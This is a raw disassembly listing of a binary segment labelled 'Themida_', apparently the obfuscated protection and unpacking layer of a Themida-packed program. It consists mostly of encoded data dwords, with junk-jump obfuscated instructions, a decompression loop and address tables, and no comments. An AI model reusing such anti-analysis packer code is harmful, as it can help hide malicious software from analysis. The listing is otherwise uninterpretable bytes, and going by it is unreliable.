8E0F0EBFh, 2, 2B615A57h, 72E5D95h, 1B2E906h, 95230000h dd 6072D81h, 0F03F883h, 4A85h, 0F2816600h, 0BD8D9592h dd 6074526h, 6840Fh, 8D890000h, 607009Dh, 187E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0C5F8A91Fh, 958BD1C6h, 6070D9Dh, 8166DC8Ah, 83D005EBh dd 850F05F8h, 30h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 51C35646h, 89CAFFEAh, 0B64A66C9h, 766E98Fh dd 95890000h, 6070C3Dh, 0F06F883h, 7E85h, 8E800h, 4E360000h dd 0AF0DB892h, 9D2945D4h, 6071911h, 1EBD8D5Ah, 6A060747h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 5051C351h, 0DAE9F5h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F853CEC3h dd 0E896C8FFh, 0AE9DF23h, 28000000h, 138B04DEh, 3CB55C8Eh dd 0BD896076h, 6071E91h, 2E5DBD8Bh, 83610607h, 850F07F8h dd 27h, 32798D89h, 0BD8D0607h, 60723ADh, 0BE9h, 0D7C92800h dd 0D01C63D0h, 96DBE8FEh, 10FE9h, 5D9D8B00h, 8306071Ah dd 850F0AF8h, 60h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 61C35646h, 0F7B1EECh, 589h, 0E30BB00h dd 8E0F6F84h, 6, 2E359589h, 0BD8D0607h, 6074916h, 1B158D09h dd 19E90607h, 0E8000000h, 10h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h dd 0B8372300h, 5BD78B66h, 0E5B58957h, 0B906071Dh, 3E86D13Dh dd 284D958Bh, 3F830607h, 64840F00h, 56000000h, 2B25958Bh dd 305A0607h, 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0D608B919h, 13E910h, 0AC200000h dd 8F790EE4h, 5504103Ch, 854D4FFFh, 0C752BCF0h, 0B3C9D1B9h dd 7E9477Fh, 0B6000000h, 0CA05462Eh, 9FE93F27h, 8BFFFFFFh dd 702F19Dh, 5BD8906h, 5F060705h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 65C35141h, 9868573h, 4B12BD89h dd 8B660607h, 318D8DD1h, 8A060714h, 0DDB5FFFAh, 6A06072Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0DD8BC353h, 28C0F40h, 8B000000h, 0DABF0FDEh dd 9FA8858Dh, 8D500609h, 751EBBDh, 478D8D06h, 0B806076Dh dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 6076CCCh dd 6D5F8D8Dh, 0CF2B0607h, 0C933A4F3h, 0B8h, 74C00B00h dd 3DBD8346h, 6071Eh, 95FF0674h, 6072B05h, 4B12B58Bh, 858D0607h dd 6099FA8h, 858DD0FFh, 607412Fh, 85C7D0FFh, 60710E9h dd 1, 133DA58Bh, 0B58B0607h, 60706C1h, 2945AD8Bh, 0C0330607h dd 8B000CC2h, 708E595h, 0D1BF0F06h, 22B5BD83h, 0F000607h dd 2184h, 10CF8000h, 1F2195FFh, 0E8600607h, 0Ah, 0C64727A2h dd 46EB5FC3h, 895A0678h, 7230585h, 0BD836106h, 6070A85h dd 0CC850F00h, 2B000001h, 72AE99Dh, 5D9D8B06h, 83060703h dd 719BDBDh, 850F0106h, 1B3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0ABC35040h, 6FCEFC93h, 2B6ECD77h dd 99958BC8h, 83060728h, 71DC5BDh, 840F0006h, 17Bh, 2A2D9D8Bh dd 0BD830607h, 6074B65h, 68840F00h, 8B000001h, 72E359Dh dd 59D8906h, 8D06072Fh, 99FA885h, 0FE906h, 0A6C10000h dd 0E0DB6259h, 0C731727Dh, 0C08A452Eh, 12B58BE6h, 6A06074Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0CE81C353h, 60BCE59Ah, 0C246BABFh, 11958B3Bh dd 61060709h, 6AD0FFF5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 826FC353h, 348DC415h dd 65D9D8Bh, 85C60607h, 60709CDh, 0A1950354h, 0E8060703h dd 4, 0FF4EBEF4h, 0DA8A5250h, 810F310Fh, 2, 585A5A57h dd 0A7BB6650h, 24448BF9h, 8BA0B204h, 89DE8B00h, 8B042444h dd 0BD8958D3h, 6070439h, 59DB5FFh, 9D8B0607h, 60707C1h dd 3963858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 66FA61C3h, 0D0FFDF8Bh, 0BBD3BF0Fh dd 22DED3DDh, 6651006Ah, 5A124ABAh, 8166FF6Ah, 0FF6B6DEAh dd 0A8C0FD0h, 0E9000000h, 5, 410055F7h, 0DB5FF23h, 6A060719h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0FB4C355h, 68Fh, 219D2900h, 33060719h, 704399Dh dd 0DD95FF06h, 0B606072Bh, 5E91Fh, 0C5F20000h, 8BE29208h dd 74B12B5h, 0D59D8906h, 0BA06070Bh, 7414C5EFh, 0D18D89C3h dd 60060710h, 2609BD01h, 0B6500607h, 8B6158D8h, 70E69B5h dd 9D8B6006h, 60728BDh, 0FF60B61h, 0F84h, 8E0F00h, 0C6000000h dd 9D8B0006h, 6071375h, 4B1A8589h, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A950A6C3h dd 0F883B2FBh, 0E7840F00h, 0BB000002h, 6D4D87FDh, 0B8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8BFC2363h, 706C995h, 0F88306h, 0B0840Fh dd 0BF0F0000h, 2F883DAh, 4B850Fh, 8E90000h dd 32000000h, 6E55AD90h, 8BB31643h, 72C719Dh, 95858D06h dd 31060741h, 72A899Dh, 9292D06h, 9D8B0000h, 6071139h dd 0CE850h, 0F5FE0000h, 3E133BFEh, 2742BE83h, 0A0BAA3A7h dd 5B3422DEh, 0BA240489h, 6DFBFB0Bh, 0B8C3h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 333754C3h, 30AC0C66h, 9E950A0h, 81000000h, 0AF3477C0h dd 0DBF69095h, 21CE95Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 1B81CC3h, 89000000h dd 70661BDh, 9ABD8D06h, 89060741h, 70C218Dh, 0AAE906h dd 850F0000h, 4, 55EDBA66h, 459D29h, 0F8830607h, 36850F02h dd 81000000h, 3AF990EAh, 92BD8D51h, 80060743h, 0EE8077EAh dd 7AE93Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E6F874C3h, 3F883B9h, 33850Fh, 0EE90000h dd 69000000h, 0C14D5359h, 63ED9637h, 17623DABh, 26BD8D4Dh dd 66060745h, 31E9D98Bh, 89000000h, 72A419Dh, 68D0F06h dd 89000000h, 701C5BDh, 5F88306h, 16850Fh, 0BA660000h dd 0B5E98B93h, 66000000h, 0DD84F381h, 3DB52951h, 5A060712h dd 0B9DF8B57h, 3E86D13Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 8DC35343h, 3F834186h, 79840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0DD3EC353h, 0E280DE55h, 6A0F3095h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 37FEC357h, 370DB02Dh, 9589F372h, 6072A35h, 870FC9D1h dd 3, 47DFB70Fh, 10E9h, 9CCC9300h, 2ADCE35Ah, 11AE1A96h dd 99028116h, 0FF84E91Fh, 8D89FFFFh, 6070FB5h, 0F05F883h dd 8985h, 0F98A5700h, 0D98C665Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 2C35545h, 81852919h, 0F606071Eh dd 850F04C1h, 48h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0A1C35646h, 23A1ADE4h, 95297C66h, 607223Dh dd 0B8h, 0DE900h, 86860000h, 9B54FFB4h, 6621085Ah, 0E93B7952h dd 12h, 2DCFBA66h, 1FBD858Bh, 0E0FF0607h, 0FA19D29h, 0BD830607h dd 6072BDDh, 73850F00h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C64BC350h dd 0EE36C38Fh, 6ABA468Ch, 5024AA44h, 1A840Fh, 0E8600000h dd 10h, 2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh dd 61585159h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 67D1C356h, 13E815h dd 17EB0000h, 56912C5Ch, 0C2AAE3E8h, 791D5429h, 335805BCh dd 0A9950111h, 5B060732h, 9CD85C6h, 0FC450607h, 0D23A4F68h dd 9BA66DCh, 2434810Dh, 52A05326h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 90C35343h, 59DB5FFh, 0B5310607h dd 6072299h, 0F0D9529h, 858D0607h, 6073963h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 6AD0FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 65F0C4C3h, 57AA66A9h, 49BD8957h, 5B060722h, 2BDD8589h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 5F4C6EC3h, 8D89AFBAh, 6072BE9h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 4560BCBEh, 90A78ECCh, 1F699D03h, 0BD830607h, 6074B69h dd 61840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 2F06C353h, 9522C066h dd 190DB5FFh, 81660607h, 0FFAFE2E2h, 72BDD95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 20147FCBh, 0D997F7C2h, 68C0Fh, 85290000h, 607039Dh dd 0F00F883h, 0C185h, 83D68B00h, 71319BDh, 840F0006h, 82h dd 0AE9h, 0C8600900h, 8A2A2811h, 0E92926DFh, 12h, 0DE4B29E3h dd 65667A45h, 0F463688Fh, 5DD9D91Dh, 0B5FF6745h, 6071319h dd 0EC8B4FBAh, 1B834h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 80F307C3h, 0C5E9F3CEh dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 9BD8C353h, 9985315Eh, 0F06072Fh dd 0B5FFD9BFh, 607190Dh, 1DB19D89h, 0B5FF0607h, 607190Dh dd 1ED9D89h, 0B5FF0607h, 6072BDDh, 1389BD89h, 8B660607h dd 172E9DFh, 8A530000h, 6A5F5AF0h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E033C352h dd 0BD8341B7h, 6070581h, 0C6850F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0F0F3C352h, 5CE57ABAh, 0ED950B5Ah, 8B06071Fh, 708F995h dd 0CD85C606h, 4D060709h, 68E0Fh, 9D090000h, 6071FEDh dd 39633368h, 0EE8EAh, 3780000h, 44D9FEA3h, 85C9B6A7h dd 9A5C2534h, 2B23BB66h, 2434815Ah, 4E0C159Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h, 89C7D6A9h dd 70EFD95h, 85B5FF06h, 0B6060710h, 63858D81h, 66060739h dd 0FFBC52BAh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 81858977h, 89060705h dd 729E9BDh, 0B806h, 81660000h, 89DEF7E3h, 74B12BDh, 0EE806h dd 48420000h, 0A9C22AD0h, 0CAF81865h, 24254CBCh, 4719509h dd 0B5A0607h, 11840FC0h, 81000000h, 0C8B0ABDAh, 3EE921h dd 0B5290000h, 6072D51h, 2BDDB5FFh, 9D330607h, 607142Dh dd 9FA8858Dh, 958B0609h, 60718ADh, 0BE666050h, 0CE8B3241h dd 24048961h, 0E800Fh, 89600000h, 71331BDh, 858D8906h dd 6106070Dh, 0BD8D5650h, 60751EBh, 775A8D8Dh, 0BCB80607h dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h, 71319BDh dd 6740006h, 21518D8Bh, 0C9330607h, 0B8h, 0FC00B00h, 9984h dd 3DBD8300h, 6071Eh, 95FF0674h, 6072B05h, 0B8h, 75C00B00h dd 1ABD8309h, 106074Bh, 0BD830974h, 6074B1Ah, 8B0E7502h dd 74B12B5h, 0A8858D06h, 0FF06099Fh, 2F858DD0h, 0FF060741h dd 35BD83D0h, 2060729h, 0A58B2F75h, 607133Dh, 1319858Bh dd 4890607h, 0E985C724h, 1060710h, 8B000000h, 74B16B5h dd 45AD8B06h, 0B8060729h, 1, 0EB000CC2h, 0E985C700h, 1060710h dd 8B000000h, 7133DA5h, 0C1B58B06h, 8B060706h, 72945ADh dd 0C2C03306h, 0BD83000Ch, 60722B5h, 830F7400h, 71F21BDh dd 6740006h, 1F2195FFh, 0B58B0607h, 6074B12h, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C406E464h, 0D7BA66C4h, 0D22BF5F9h, 137D9589h db 7, 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_544036 ; --------------------------------------------------------------------------- loc_544034: ; CODE XREF: Themida_:00544039j inc eax inc edi loc_544036: ; CODE XREF: Themida_:00544032j cmp byte ptr [edi], 0 jnz short loc_544034 xor ecx, ecx mov edi, [ebp+8] jmp short loc_544065 ; --------------------------------------------------------------------------- loc_544042: ; CODE XREF: Themida_:00544067j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_54405A ; --------------------------------------------------------------------------- loc_544057: ; CODE XREF: Themida_:0054405Dj mul ebx dec esi loc_54405A: ; CODE XREF: Themida_:00544055j cmp esi, 0 ja short loc_544057 pop ebx add ecx, eax pop eax inc edi dec eax loc_544065: ; CODE XREF: Themida_:00544040j or eax, eax jnz short loc_544042 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 8Bh dd 7151595h, 0D78B6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 7AC35545h, 3A7B4F1Dh, 0BAE66B65h, 0C5296DBBh dd 0E9C18B34h, 1ADh, 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h dd 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h dd 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h dd 585h, 46168A00h, 0C913D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh dd 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h, 56E88B02h dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h dd 8C2611Ch, 929BA00h, 12E90000h, 0FE00021Bh, 68005AD3h dd 3F0012FFh, 28025900h, 0FE025900h, 0C005AD3h, 5ACFh dd 46000000h, 2000002h, 1000000h, 4000000h, 0BF000000h dd 0FA4CC7h, 5 dup(0) dd 610054F9h, 430054D5h, 80005453h, 0DA00544Dh, 6A0054BFh dd 0CD005451h, 0AA00545Dh, 0DD0054F2h, 130054FCh, 0EF0054A3h dd 7C0054F9h, 0BA005471h, 630054F7h, 0BF005459h, 7200547Dh dd 9400546Fh, 0EB00545Ah, 8C00549Eh, 0F4005450h, 0DB0054C6h dd 0E9005461h, 5D0054BDh, 0EA0054A7h, 1E005475h, 0DF005500h dd 58005447h, 0FD00549Bh, 0C70054DEh, 0DC00545Bh, 0EF0054C3h dd 520054F1h, 500054B6h, 0ED0054C8h, 5F005464h, 2E005491h dd 6C0054BCh, 0E70054CAh, 58005457h, 0F3005453h, 6800549Ch dd 350054A1h, 690054D7h, 4F00545Fh, 0F3005497h, 6B0054C0h dd 450054BFh, 0B900546Eh, 0C600548Eh, 0C6005488h, 800546Ah dd 800547Ch, 9C005495h, 790054BDh, 0D00054E4h, 570054A6h dd 5D0054D7h, 23005459h, 6C005467h, 79005483h, 0F60054F8h dd 0B0054B4h, 41005446h, 2800548Ah, 400548Bh, 0DD005449h dd 0EC0054CAh, 0A40054DAh, 330054B2h, 31005483h, 3A0054E8h dd 2D0054ADh, 9005471h, 480054DBh, 1E005501h, 0F100546Ch dd 0EC005481h, 760054C6h, 5E00548Dh, 0AD005476h, 750054DBh dd 150054DCh, 760054F8h, 0B2005466h, 500054BCh, 4E00547Dh dd 77005498h, 9500545Eh, 270054CCh, 0A100548Fh, 0E6005462h dd 6F0054D5h, 0C30054B9h, 0F6005465h, 0E60054DCh, 600054ACh dd 0BA0054D7h, 0C60054C6h, 630054B1h, 0CC005468h, 0A1005465h dd 7005485h, 0EA00544Bh, 54A7h, 650054D3h, 0C1005447h dd 82005480h dword_544450 dd 6A0054A7h, 330054D0h, 360054C3h, 0C30054F6h, 0E0005496h ; DATA XREF: ___:off_43CCF4o dd 4E0054CEh, 7200544Fh, 8A0054A4h, 800054B4h, 3600545Eh dd 52005485h, 4A00546Fh, 200054BAh, 160054E2h, 8F005503h dd 85005455h, 460054B1h, 9005462h, 0B90054EAh, 340054EFh dd 79005496h, 64005451h, 0D10054FFh, 0E50054BEh, 220054D8h dd 620054CBh, 0A60054BCh, 2100548Ah, 6A005491h, 7F0054A9h dd 78005467h, 3600547Ch, 0C00054B4h, 0F30054A6h, 0E00054DBh dd 0A20054F3h, 8C0054CFh, 1A0054EEh, 0DE0054AEh, 0C100544Ah dd 0BD0054CFh, 0F60054B4h, 950054FCh, 370054A3h, 58005499h dd 3E005478h, 5F0054BDh, 7F005461h, 0BB005496h, 8100546Ch dd 79005478h, 5E005470h, 4C00547Ah, 550054ABh, 2D005497h dd 0E9005473h, 0F20054FAh, 0B00054C5h, 0E5005454h, 8500547Eh db 95h, 54h, 0 ; --------------------------------------------------------------------------- loc_544543: ; CODE XREF: Themida_:005730FFj ; Themida_:0059D3E8j ... pusha pushf cld call $+5 pop edi sub edi, 6077D8Ch mov eax, edi add edi, 6077AA4h cmp eax, [edi+2Ch] jnz short loc_544561 jmp short loc_544574 ; --------------------------------------------------------------------------- loc_544561: ; CODE XREF: Themida_:0054455Dj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_544570 ; --------------------------------------------------------------------------- loc_54456B: ; CODE XREF: Themida_:00544572j add [edi+ecx*4+40h], eax dec ecx loc_544570: ; CODE XREF: Themida_:00544569j or ecx, ecx jnz short loc_54456B loc_544574: ; CODE XREF: Themida_:0054455Fj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_544581: ; CODE XREF: Themida_:00544588j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_544581 loc_54458A: ; CODE XREF: Themida_:0054832Ej ; Themida_:0054936Fj ... lodsb push ebx mov bl, 58h xor bl, 96h jmp loc_548C1E ; --------------------------------------------------------------------------- dw 0FF52h dd 8B042474h, 89522414h, 4C281E2h, 0E9000000h, 0BBD7h ; --------------------------------------------------------------------------- loc_5445AC: ; CODE XREF: Themida_:0054B7C6j mov [esp], ebp push esp pop ebp push edx mov edx, 962099Bh jmp loc_549144 ; --------------------------------------------------------------------------- dd 8904EC83h, 5366240Ch, 42EF68h, 24148900h, 0C6FEF3B6h dd 82D9E9h, 24148900h, 9CB25251h, 0B103B753h, 0E9F9282Ch dd 0A654h, 10ECE950h, 0D4880000h, 34FFE788h, 0E9565824h dd 839h, 0FF241C89h, 34FF2434h, 0BFE95824h, 68000022h dd 5055h, 0BE243489h, 262A7662h, 0FFB85046h, 29FFFFFFh dd 2610E9C6h, 575C0000h, 0C781E789h, 4, 0A8BE9h, 241C8700h dd 2824248Bh, 0E99C2404h, 575Fh, 0DEFEA81h, 0F28124ACh dd 3E560836h, 7954EA81h, 0E2C13D1Ch, 0BAC28106h, 1485A35h dd 68E95AD0h, 81000096h, 4C3h, 241C8700h, 924248Bh, 2840FC0h dd 680000A5h, 6E83h, 0A39EE9h, 4B696800h, 0C1586DE3h, 0D4803E8h dd 2C25F44h, 63E4E9h, 81D9F700h, 52AD95F1h, 37ED81FEh dd 1437D6Dh, 37C581CDh, 8B437D6Dh, 8953240Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 3D44h, 4BE95F66h dd 89000040h, 0E9542414h, 0BD04h, 0F4E9E189h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5446E3: ; CODE XREF: Themida_:00545925j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_54E4EE ; --------------------------------------------------------------------------- loc_5446F4: ; CODE XREF: Themida_:005490D1j and ebx, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_544881 ; --------------------------------------------------------------------------- dd 7F7BEE81h, 0BDE9E462h, 0FF000019h, 68582434h, 1638h dd 54243489h, 9F10E9h, 24043300h, 713FE9h db 0 ; --------------------------------------------------------------------------- loc_544731: ; CODE XREF: Themida_:00545B90j push edi mov edi, 41B52427h sub eax, edi pop edi sub eax, 408D5AF0h pop ebx xchg eax, [esp] mov esp, [esp] push 3693h mov [esp], ebx jmp loc_54F5DD ; --------------------------------------------------------------------------- db 8Fh dd 87E92404h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54475B: ; CODE XREF: Themida_:0054F3DBj pop ecx shl ebx, 7 dec ebx jmp loc_54C71B ; --------------------------------------------------------------------------- db 66h, 0F7h, 1Ch dd 1BE99C24h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54476F: ; CODE XREF: Themida_:0054BC04j push 3A96h mov [esp], esi mov esi, esp add esi, 4 push eax mov eax, 0C8241B1h dec eax xor eax, 13130275h push esi mov esi, 35C5370h jmp loc_54E392 ; --------------------------------------------------------------------------- loc_544796: ; CODE XREF: Themida_:0054CC56j push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop ecx jmp loc_5484A5 ; --------------------------------------------------------------------------- loc_5447A7: ; CODE XREF: Themida_:0054F6BDj push ax mov al, 8Ah sub bl, al jmp loc_54D46E ; --------------------------------------------------------------------------- dw 0F581h dd 0A0229815h, 835DE801h, 48704C0h, 0BB535C24h, 4E88661Ah dd 4F3A6855h, 2C8B393Bh, 4C48324h, 4E9EF581h, 42E97729h dd 66000079h, 0E9240C8Bh, 0A9DCh ; --------------------------------------------------------------------------- loc_5447E8: ; CODE XREF: Themida_:005464E8j mov bh, 69h sub dh, bh pop ebx push ebx mov bh, 0FFh sub dh, bh jmp loc_549F41 ; --------------------------------------------------------------------------- db 0BEh dd 4, 4247401h, 22B2E9h, 0FD80E900h, 5051FFFFh, 67B3E9h dd 7E5C100h, 0F431C581h, 0EF31CCD1h, 0E92434FFh, 96F4h dd 53E68956h, 0A81902BBh, 2C38132h, 0E9CD57E7h, 0CCCh ; --------------------------------------------------------------------------- loc_544838: ; CODE XREF: Themida_:00547366j pop esp push 3BC6h mov [esp], esi jmp loc_54BD23 ; --------------------------------------------------------------------------- dw 0C681h dd 9BB9EB78h, 348BF301h, 4EC8324h, 89241489h, 4C281E2h dd 81000000h, 4C2h, 24148700h, 8124248Bh, 2C3h, 14F0E900h dd 14330000h, 24248B24h, 61E7E9h db 0 ; --------------------------------------------------------------------------- loc_544881: ; CODE XREF: Themida_:00544707j pop esp or ebx, ebx jnz loc_545648 push eax jmp loc_544DB1 ; --------------------------------------------------------------------------- dd 3791BD55h, 0F581078Ah, 38E0394Ah, 0C9BE9h, 240C8B00h dd 104C483h, 0BB535EF7h, 4, 875BDF29h, 895C243Ch, 65E9240Ch dd 0B9000055h, 708C5D06h, 95F6E9h, 241C8B00h, 0E904C483h dd 4862h, 4C181h, 0EC810000h, 4, 0FF240C89h, 59042474h dd 77C0E9h, 241C8700h, 4EC835Ch, 68241C89h, 101F263Dh dd 0E92434FFh, 0FFFFFFC5h, 1CBA52h, 0FA010000h, 348132FFh dd 5A48BD24h, 0E9565816h, 7C7Dh ; --------------------------------------------------------------------------- loc_54491C: ; CODE XREF: Themida_:00546A04j pop eax xchg ebx, [esp] pop esp loc_544921: ; CODE XREF: Themida_:00545422j sub esp, 4 mov [esp], ebx jmp loc_54905F ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 24248B24h, 9C2424D2h, 0FFFC49E9h dd 0F98851FFh, 88CC8850h, 8B5958E6h, 0C481241Ch, 4, 148BF788h dd 4C48124h, 88000000h, 241C8B3Ah, 4AB9E9h db 0 ; --------------------------------------------------------------------------- loc_544969: ; CODE XREF: Themida_:0054E6E0j pop eax push dword ptr [esp] pop edx push esi push esp jmp loc_547C57 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0D3B5240Ch, 0F6E9EB28h, 810000AAh, 6E3C6EF2h dd 2E2C17Eh, 987FE9h, 54CB6800h, 0E3E90000h, 3100007Bh dd 243C8BF8h, 4C481h, 0C3810000h, 50D91745h, 4ADE9h, 242C8900h dd 0A01F91BDh, 7979E92Ah, 0E9C00000h, 58F18004h, 27FAE950h dd 0DAF70000h, 571CE9h, 2C78100h, 57000000h, 42474FFh dd 24048F5Fh, 0D324248Bh, 0E99C243Ch, 0A316h, 5355D829h dd 7494E9h db 0 ; --------------------------------------------------------------------------- loc_5449F9: ; CODE XREF: Themida_:0054F137j sub ebp, 2CA1720Fh mov ebx, [esp] add esp, 4 jmp loc_549D05 ; --------------------------------------------------------------------------- aZsn db 'ZИ╜',0Dh,0 dw 100h dd 68BE05F8h, 1CE9337Eh, 8700006Ch, 248B242Ch, 0A8A5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544A2A: ; CODE XREF: Themida_:0054B9F7j add esp, 4 and ebx, 5DB810A2h shl ebx, 6 xor ebx, 8040024h push edx mov edx, ebx mov eax, edx pop edx pop ebx jmp loc_5483E9 ; --------------------------------------------------------------------------- db 0C0h dd 0ED8005EDh, 66EB080Eh, 81240C8Bh, 2C4h, 861DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544A62: ; CODE XREF: Themida_:0054C157j mov ch, bl push ebx jmp loc_547DB6 ; --------------------------------------------------------------------------- loc_544A6A: ; CODE XREF: Themida_:0054A826j mov edi, 2D8755CEh or edx, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edx, 72E842F7h add edx, 51F3032Ah jmp loc_54C687 ; --------------------------------------------------------------------------- db 68h, 9Dh, 2Bh dd 4890000h, 74E95624h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544AA3: ; CODE XREF: Themida_:0054EF84j xor edx, 47D2E9Ah mov ecx, edx pop edx jmp loc_54F72B ; --------------------------------------------------------------------------- db 54h, 5Eh, 81h dd 4C6h, 0E7BD5500h, 8140862Eh, 0F94AA8CDh, 0EDF58113h dd 0E953FF6Eh, 6ECBh ; --------------------------------------------------------------------------- loc_544AD0: ; CODE XREF: Themida_:0054F010j neg edx dec edx xor edx, 0D2A3942h jmp loc_54B80C ; --------------------------------------------------------------------------- dw 8B66h dd 0F1682404h, 8900007Ch, 0C6E92404h, 0BF00007Ah, 2E075E41h dd 8B5FFB29h, 23682414h, 8900000Eh, 60E92404h, 66000001h dd 5124048Bh, 0F8E9E189h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B13: ; CODE XREF: Themida_:0054CD7Bj add edi, 4 push 3392h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_54B610 ; --------------------------------------------------------------------------- dd 2B5700BEh, 3CE68153h, 8165233Fh, 0EE328BEEh, 0E6814643h dd 1D133271h, 7341F681h, 0EE8163D5h, 0C439BBE0h, 95EF331h 